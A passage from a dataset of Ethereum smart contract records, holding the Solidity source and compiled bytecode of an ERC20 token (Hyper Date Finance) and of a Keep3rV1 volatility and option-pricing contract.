approve(address spender, uint256 value) public virtual returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract HyperDateFinance is ERC20 { string public constant name = "Hyper Date Finance"; uint8 public constant decimals = 18; string public constant symbol = "HDFI"; uint public constant supply = 100 * 10**6 * 10**uint(decimals); // 100 million constructor() public { _mint(msg.sender, supply); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80633950935111610071578063395093511461028857806370a08231146102ee57806395d89b4114610346578063a457c2d7146103c9578063a9059cbb1461042f578063dd62ed3e14610495576100b4565b8063047fc9aa146100b957806306fdde03146100d7578063095ea7b31461015a57806318160ddd146101c057806323b872dd146101de578063313ce56714610264575b600080fd5b6100c161050d565b6040518082815260200191505060405180910390f35b6100df61051e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a66004803603604081101561017057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610557565b604051808215151515815260200191505060405180910390f35b6101c861056e565b6040518082815260200191505060405180910390f35b61024a600480360360608110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610578565b604051808215151515815260200191505060405180910390f35b61026c610629565b604051808260ff1660ff16815260200191505060405180910390f35b6102d46004803603604081101561029e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061062e565b604051808215151515815260200191505060405180910390f35b6103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106d3565b6040518082815260200191505060405180910390f35b61034e61071b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038e578082015181840152602081019050610373565b50505050905090810190601f1680156103bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610415600480360360408110156103df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610754565b604051808215151515815260200191505060405180910390f35b61047b6004803603604081101561044557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f9565b604051808215151515815260200191505060405180910390f35b6104f7600480360360408110156104ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610810565b6040518082815260200191505060405180910390f35b601260ff16600a0a6305f5e1000281565b6040518060400160405280601281526020017f487970657220446174652046696e616e6365000000000000000000000000000081525081565b6000610564338484610897565b6001905092915050565b6000600254905090565b60006105858484846109f6565b61061e843361061985600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc090919063ffffffff16565b610897565b600190509392505050565b601281565b60006106c933846106c485600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0a90919063ffffffff16565b610897565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040518060400160405280600481526020017f484446490000000000000000000000000000000000000000000000000000000081525081565b60006107ef33846107ea85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc090919063ffffffff16565b610897565b6001905092915050565b60006108063384846109f6565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108d157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561090b57600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a3057600080fd5b610a81816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b14816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000610c0283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c92565b905092915050565b600080828401905083811015610c88576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290610d3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d04578082015181840152602081019050610ce9565b50505050905090810190601f168015610d315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fea2646970667358221220a8e6ea5eef434ba2dfe09acf52588a845c42af988727a831a44ca97d7b5ef8d364736f6c63430006000033
{"success": true, "error": null, "results": {}}
5,855
0xccdfcb72753cfd55c5aff5d98ea5f9c43be9659d
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IKeep3rV1Oracle { function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory); function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut); } interface IERC20 { function decimals() external view returns (uint); } contract Keep3rV1Volatility { uint private constant FIXED_1 = 0x080000000000000000000000000000000; uint private constant FIXED_2 = 0x100000000000000000000000000000000; uint private constant SQRT_1 = 13043817825332782212; uint private constant LNX = 3988425491; uint private constant LOG_10_2 = 3010299957; uint private constant LOG_E_2 = 6931471806; uint private constant BASE = 1e10; IKeep3rV1Oracle public constant KV1O = IKeep3rV1Oracle(0x73353801921417F465377c8d898c6f4C0270282C); address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); function floorLog2(uint256 _n) public pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (uint(1) << s)) { _n >>= s; res |= s; } } } return res; } function ln(uint256 x) public pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_E_2 / BASE; } /** * @dev computes e ^ (x / FIXED_1) * FIXED_1 * input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 * auto-generated via 'PrintFunctionOptimalExp.py' * Detailed description: * - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible * - The exponentiation of each binary exponent is given (pre-calculated) * - The exponentiation of r is calculated via Taylor series for e^x, where x = r * - The exponentiation of the input is calculated by multiplying the intermediate results above * - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859 */ function optimalExp(uint256 x) public pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = (z * y) / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = (z * y) / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = (z * y) / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = (z * y) / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = (z * y) / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = (z * y) / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = (z * y) / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = (z * y) / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = (z * y) / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = (z * y) / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = (z * y) / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = (z * y) / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = (z * y) / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = (z * y) / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = (z * y) / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = (z * y) / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = (z * y) / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = (z * y) / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = (z * y) / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } function quote(address tokenIn, address tokenOut, uint t) public view returns (uint call, uint put) { uint _price = price(tokenIn, tokenOut); return quotePrice(tokenIn, tokenIn == WETH ? tokenOut : WETH, t, _price, _price); } function price(address tokenIn, address tokenOut) public view returns (uint) { if (tokenIn == WETH) { return KV1O.current(WETH, 1e18, tokenOut); } else { uint _weth = KV1O.current(tokenIn, uint(10)**IERC20(tokenIn).decimals(), WETH); if (tokenOut == WETH) { return _weth; } else { return KV1O.current(WETH, _weth, tokenOut); } } } function quotePrice(address tokenIn, address tokenOut, uint t, uint sp, uint st) public view returns (uint call, uint put) { uint v = rVol(tokenIn, tokenOut, 4, 24); return quoteAll(t, v, sp, st); } function quoteAll(uint t, uint v, uint sp, uint st) public pure returns (uint call, uint put) { uint _c; uint _p; if (sp > st) { _c = C(t, v, sp, st); _p = st-sp+_c; } else { _p = C(t, v, st, sp); _c = st-sp+_p; } return (_c, _p); } function C(uint t, uint v, uint sp, uint st) public pure returns (uint) { if (sp == st) { return LNX * sp / 1e10 * v / 1e18 * sqrt(1e18 * t / 365) / 1e9; } uint sigma = ((v**2)/2); uint sigmaB = 1e36; uint sig = 1e18 * sigma / sigmaB * t / 365; uint sSQRT = v * sqrt(1e18 * t / 365) / 1e9; uint d1 = 1e18 * ln(FIXED_1 * sp / st) / FIXED_1; d1 = (d1 + sig) * 1e18 / sSQRT; uint d2 = d1 - sSQRT; uint cdfD1 = ncdf(FIXED_1 * d1 / 1e18); uint cdfD2 = cdf(int(FIXED_1) * int(d2) / 1e18); return sp * cdfD1 / 1e14 - st * cdfD2 / 1e14; } function ncdf(uint x) public pure returns (uint) { int t1 = int(1e7 + (2315419 * x / FIXED_1)); uint exp = x / 2 * x / FIXED_1; int d = int(3989423 * FIXED_1 / optimalExp(uint(exp))); uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1); if( x > 0 ) prob = 1e14 - prob; return prob; } /** * @notice Takes the absolute value of a given number * @dev Helper function * @param _number The specified number * @return The absolute value of the number */ function abs(int256 _number) public pure returns (uint256) { return _number < 0 ? uint256(_number * (-1)) : uint256(_number); } function cdf(int x) public pure returns (uint) { int t1 = int(1e7 + int(2315419 * abs(x) / FIXED_1)); uint exp = uint(x / 2 * x) / FIXED_1; int d = int(3989423 * FIXED_1 / optimalExp(uint(exp))); uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1); if( x > 0 ) prob = 1e14 - prob; return prob; } function generalLog(uint256 x) public pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_10_2 / BASE; } function sqrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } function vol(uint[] memory p) public pure returns (uint x) { for (uint8 i = 1; i <= (p.length-1); i++) { x += ((generalLog(p[i] * FIXED_1) - generalLog(p[i-1] * FIXED_1)))**2; //denom += FIXED_1**2; } //return (sum, denom); x = sqrt(uint(252) * sqrt(x / (p.length-1))); return uint(1e18) * x / SQRT_1; } function rVol(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint) { return vol(KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window)); } function rVolHourly(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 2); } function rVolDaily(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 48); } function rVolWeekly(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 336); } function rVolHourlyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 2); } function rVolDailyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 48); } function rVolWeeklyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 336); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806365c3c2b4116100c3578063b64663841161007c578063b64663841461049a578063c6a51535146104d0578063c801e06714610506578063d0b71b1e1461053c578063d3442edf14610559578063e031d453146105885761014d565b806365c3c2b414610363578063677342ce146103915780637f8290d0146103ae578063892f82f0146103d25780639505086214610475578063ad5c4648146104925761014d565b80632b00490d116101155780632b00490d146102445780632b9432a8146102725780633394f9ed146102a15780633a6fdf47146102d757806345b8bafc146103135780634c3eea9e146103465761014d565b80630969e8db146101525780630e755974146101ad578063101c5422146101ed5780631b5ac4b51461020a57806324d4e90a14610227575b600080fd5b610194600480360360a081101561016857600080fd5b506001600160a01b038135811691602081013590911690604081013590606081013590608001356105b6565b6040805192835260208301919091528051918290030190f35b6101db600480360360408110156101c357600080fd5b506001600160a01b03813581169160200135166105e6565b60408051918252519081900360200190f35b6101db6004803603602081101561020357600080fd5b5035610600565b6101db6004803603602081101561022057600080fd5b50356106ce565b6101db6004803603602081101561023d57600080fd5b50356106e4565b6101db6004803603604081101561025a57600080fd5b506001600160a01b038135811691602001351661077a565b6101946004803603608081101561028857600080fd5b5080359060208101359060408101359060600135610a55565b6101db600480360360608110156102b757600080fd5b506001600160a01b03813581169160208101359091169060400135610a9f565b6101db600480360360808110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135610ab6565b6103306004803603602081101561032957600080fd5b5035610c79565b6040805160ff9092168252519081900360200190f35b6101db6004803603602081101561035c57600080fd5b5035610cda565b6101db6004803603604081101561037957600080fd5b506001600160a01b0381358116916020013516610d69565b6101db600480360360208110156103a757600080fd5b5035610d78565b6103b6610daf565b604080516001600160a01b039092168252519081900360200190f35b6101db600480360360208110156103e857600080fd5b81019060208101813564010000000081111561040357600080fd5b82018360208201111561041557600080fd5b8035906020019184602083028401116401000000008311171561043757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610dc7945050505050565b6101db6004803603602081101561048b57600080fd5b5035610e68565b6103b661120c565b610194600480360360608110156104b057600080fd5b506001600160a01b03813581169160208101359091169060400135611224565b6101db600480360360608110156104e657600080fd5b506001600160a01b0381358116916020810135909116906040013561128e565b6101db6004803603606081101561051c57600080fd5b506001600160a01b0381358116916020810135909116906040013561129d565b6101db6004803603602081101561055257600080fd5b50356112ad565b6101db6004803603608081101561056f57600080fd5b508035906020810135906040810135906060013561138c565b6101db6004803603604081101561059e57600080fd5b506001600160a01b03813581169160200135166114e2565b60008060006105c9888860046018610ab6565b90506105d786828787610a55565b92509250509550959350505050565b60006105f783836002610150610ab6565b90505b92915050565b6000806001607f1b6223549b8402046298968001905060006001607f1b846002868161062857fe5b04028161063157fe5b049050600061063f82610e68565b623cdfaf607f1b8161064d57fe5b049050600083848586876578fcdaec22008161066557fe5b05630115e6cf190162989680028161067957fe5b0563010fd4fc0162989680028161068c57fe5b0562366845190162989680028161069f57fe5b056230bbd70183026298968002816106b357fe5b05905085156106c557655af3107a4000035b95945050505050565b60008082126106dd57816105fa565b5060000390565b600080600160801b83106107155760006107046001607f1b855b04610c79565b60ff1693841c936001607f1b029150505b6001607f1b83111561076357607f5b60ff811615610761576001607f1b848002049350600160801b841061075857600193841c9360ff6000198301161b91909101905b60001901610724565b505b6402540be40064019d25ddbe82025b049392505050565b60006001600160a01b03831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2141561085657604080516353ae9ce160e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26004820152670de0b6b3a764000060248201526001600160a01b038416604482015290517373353801921417f465377c8d898c6f4c0270282c9163a75d39c2916064808301926020929190829003018186803b15801561082357600080fd5b505afa158015610837573d6000803e3d6000fd5b505050506040513d602081101561084d57600080fd5b505190506105fa565b60007373353801921417f465377c8d898c6f4c0270282c6001600160a01b031663a75d39c285866001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b557600080fd5b505afa1580156108c9573d6000803e3d6000fd5b505050506040513d60208110156108df57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039093166004840152600a9190910a602483015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26044830152516064808301926020929190829003018186803b15801561094b57600080fd5b505afa15801561095f573d6000803e3d6000fd5b505050506040513d602081101561097557600080fd5b505190506001600160a01b03831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214156109a55790506105fa565b604080516353ae9ce160e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26004820152602481018390526001600160a01b038516604482015290517373353801921417f465377c8d898c6f4c0270282c9163a75d39c2916064808301926020929190829003018186803b158015610a2057600080fd5b505afa158015610a34573d6000803e3d6000fd5b505050506040513d6020811015610a4a57600080fd5b505191506105fa9050565b60008060008084861115610a7c57610a6f8888888861138c565b9150508484038101610a92565b610a888888878961138c565b9050808686030191505b9097909650945050505050565b6000610aae8484846002610ab6565b949350505050565b60006106c57373353801921417f465377c8d898c6f4c0270282c6001600160a01b0316630a79339887886001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1857600080fd5b505afa158015610b2c573d6000803e3d6000fd5b505050506040513d6020811015610b4257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a602483015291891660448201526064810188905260848101879052905160a4808301926000929190829003018186803b158015610bab57600080fd5b505afa158015610bbf573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610be857600080fd5b8101908080516040519392919084640100000000821115610c0857600080fd5b908301906020820185811115610c1d57600080fd5b8251866020820283011164010000000082111715610c3a57600080fd5b82525081516020918201928201910280838360005b83811015610c67578181015183820152602001610c4f565b50505050905001604052505050610dc7565b600080610100831015610ca1575b6001831115610c9c57600192831c9201610c87565b6105fa565b60805b60ff811615610cd357600160ff82161b8410610cc85760ff81169390931c92908117905b60011c607f16610ca4565b5092915050565b600080600160801b8310610d09576000610cf86001607f1b856106fe565b60ff1693841c936001607f1b029150505b6001607f1b831115610d5757607f5b60ff811615610d55576001607f1b848002049350600160801b8410610d4c57600193841c9360ff6000198301161b91909101905b60001901610d18565b505b6402540be40063b36d88358202610772565b60006105f78383600280610ab6565b80600260018201045b81811015610da957809150600281828581610d9857fe5b040181610da157fe5b049050610d81565b50919050565b7373353801921417f465377c8d898c6f4c0270282c81565b600060015b60018351038160ff1611610e2a576002610e046001607f1b856001850360ff1681518110610df657fe5b602002602001015102610cda565b610e1b6001607f1b868560ff1681518110610df657fe5b030a9190910190600101610dcc565b50610e4c610e4460018451038381610e3e57fe5b04610d78565b60fc02610d78565b67b504f333f9de6484670de0b6b3a76400009091020492915050565b6000670168244fdac780006001607f1b6f0fffffffffffffffffffffffffffffff84168080028290048082028390048083028490049485026710e1b3be415a00009092026705a0913f6b1e000091909102010192909181830204905080664807432bc1800002830192506001607f1b82820281610ee157fe5b04905080660c0135dca0400002830192506001607f1b82820281610f0157fe5b049050806601b707b1cdc00002830192506001607f1b82820281610f2157fe5b049050806536e0f639b80002830192506001607f1b82820281610f4057fe5b04905080650618fee9f80002830192506001607f1b82820281610f5f57fe5b04905080649c197dcc0002830192506001607f1b82820281610f7d57fe5b04905080640e30dce40002830192506001607f1b82820281610f9b57fe5b0490508064012ebd130002830192506001607f1b82820281610fb957fe5b049050806317499f0002830192506001607f1b82820281610fd657fe5b049050806301a9d48002830192506001607f1b82820281610ff357fe5b04905080621c638002830192506001607f1b8282028161100f57fe5b049050806201c63802830192506001607f1b8282028161102b57fe5b04905080611ab802830192506001607f1b8282028161104657fe5b0490508061017c02830192506001607f1b8282028161106157fe5b04905080601402830192506001607f1b8282028161107b57fe5b6721c3677c82b400009190049384010482016001607f1b019290506001607c1b8516156110cc5770018ebef9eac820ae8682b9793ac6d1e7767001c3d6a24ed82218787d624d3e5eba95f984020492505b6001607d1b851615611102577001368b2fc6f9609fe7aceb46aa619baed470018ebef9eac820ae8682b9793ac6d1e77884020492505b6001607e1b851615611137576fbc5ab1b16779be3575bd8f0520a9f21f7001368b2fc6f9609fe7aceb46aa619baed584020492505b6001607f1b85161561116b576f454aaa8efe072e7f6ddbab84b40a55c96fbc5ab1b16779be3575bd8f0520a9f21e84020492505b600160801b85161561119f576f0960aadc109e7a3bf4578099615711ea6f454aaa8efe072e7f6ddbab84b40a55c584020492505b600160811b8516156111d2576e2bf84208204f5977f9a8cf01fdce3d6f0960aadc109e7a3bf4578099615711d784020492505b600160821b851615611203576d03c6ab775dd0b95b4cbee7e65d116e2bf84208204f5977f9a8cf01fdc30784020492505b50909392505050565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000806000611233868661077a565b9050611281866001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2146112775773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2611279565b865b8684856105b6565b9250925050935093915050565b6000610aae8484846030610ab6565b6000610aae848484610150610ab6565b6000806001607f1b6112be846106ce565b6223549b02816112ca57fe5b046298968001905060006001607f1b84600286816112e457fe5b0502816112ed57fe5b04905060006112fb82610e68565b623cdfaf607f1b8161130957fe5b049050600083848586876578fcdaec22008161132157fe5b05630115e6cf190162989680028161133557fe5b0563010fd4fc0162989680028161134857fe5b0562366845190162989680028161135b57fe5b056230bbd701830262989680028161136f57fe5b05905060008613156106c557655af3107a40000395945050505050565b6000818314156113db57633b9aca006113b161016d670de0b6b3a76400008802610e3e565b670de0b6b3a76400006402540be40063edba8b1387020487020402816113d357fe5b049050610aae565b600280850a046ec097ce7bc90715b34b9f1000000000600061016d670de0b6b3a7640000840283900489020490506000633b9aca0061142661016d670de0b6b3a76400008c02610e3e565b89028161142f57fe5b04905060006001607f1b611451888a6001607f1b028161144b57fe5b046106e4565b670de0b6b3a7640000028161146257fe5b04905081838201670de0b6b3a7640000028161147a57fe5b049050818103600061149b670de0b6b3a76400006001607f1b850204610600565b905060006114b8670de0b6b3a76400006001607f1b8502056112ad565b9050655af3107a40008a820204655af3107a40008c840204039d9c50505050505050505050505050565b60006105f7838360026030610ab656fea2646970667358221220fcab0c31071415bfa6951b11db8135372563799b35f350c3c950c160aed1514064736f6c634300060c0033
